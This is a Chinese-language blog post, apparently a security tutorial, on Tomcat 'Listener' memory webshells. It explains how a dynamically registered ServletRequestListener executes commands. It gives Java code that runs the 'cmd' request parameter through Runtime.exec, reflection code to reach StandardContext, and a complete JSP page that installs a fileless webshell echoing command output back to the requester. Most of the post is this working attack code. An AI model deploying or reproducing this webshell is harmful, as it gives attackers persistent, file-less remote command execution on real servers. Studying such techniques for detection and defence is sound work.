# Listener 型内存马原理

Listener 是 javaweb 中的监听器,监听某一个 java 对象的方法调用或属性改变,当被监听对象发生上述事件后,监听器某个方法立即被执行。

Listener 内存马是通过动态注册一个 Listener,其监听到某个参数传入时,则将参数用于命令执行,由于是动态注册的,所以这个 Listener 没有文件实体,存在于内存中,随着 tomcat 重启而消失

# Listener 型内存马实现

# Listener 部分

一个简单的 HttpServletRequestListener 示例

class S implements ServletRequestListener{
    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println("Initialized.");
            }
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        System.out.println("Destroyed.");
    }
}

在 Listener 中,我们需要在初始化操作 contextInitialized 中填入恶意代码

class S implements ServletRequestListener{
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        
    }
    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
        if(cmd != null){
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {}
        }
    }
}

# 动态注册部分

获取 context 部分

ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

添加 Listener

S servletRequestListener = new S();
standardContext.addApplicationEventListener(servletRequestListener);
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>AddLinstener</title>
</head>
<body>
<%
    try {
        // 从 ServletContext 中反射获取 ApplicationContext 和 StandardContext
        ServletContext servletContext = request.getSession().getServletContext();
        Field appctx = servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
        Field stdctx = applicationContext.getClass().getDeclaredField("context");
        stdctx.setAccessible(true);
        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
        ServletRequestListener listener = new ServletRequestListener() {
            @Override
            public void requestDestroyed(ServletRequestEvent sre) {
                HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
                String cmd = req.getParameter("cmd");
                if (cmd != null){
                    try {
                        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\\A");
                        String output = s.hasNext() ? s.next() : "";
                        Field requestF = req.getClass().getDeclaredField("request");
                        requestF.setAccessible(true);
                        Request request = (Request)requestF.get(req);
                        PrintWriter out= request.getResponse().getWriter();
                        out.println(output);
                        out.flush();
                        out.close();
                    }
                    catch (Exception e) {}
                }
            }
            @Override
            public void requestInitialized(ServletRequestEvent sre) {}
        };
        standardContext.addApplicationEventListener(listener);
        response.getWriter().write("Success");
    } catch (Exception e) {
        e.printStackTrace();
    }
%>
</body>
</html>

image-20220421214227290

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝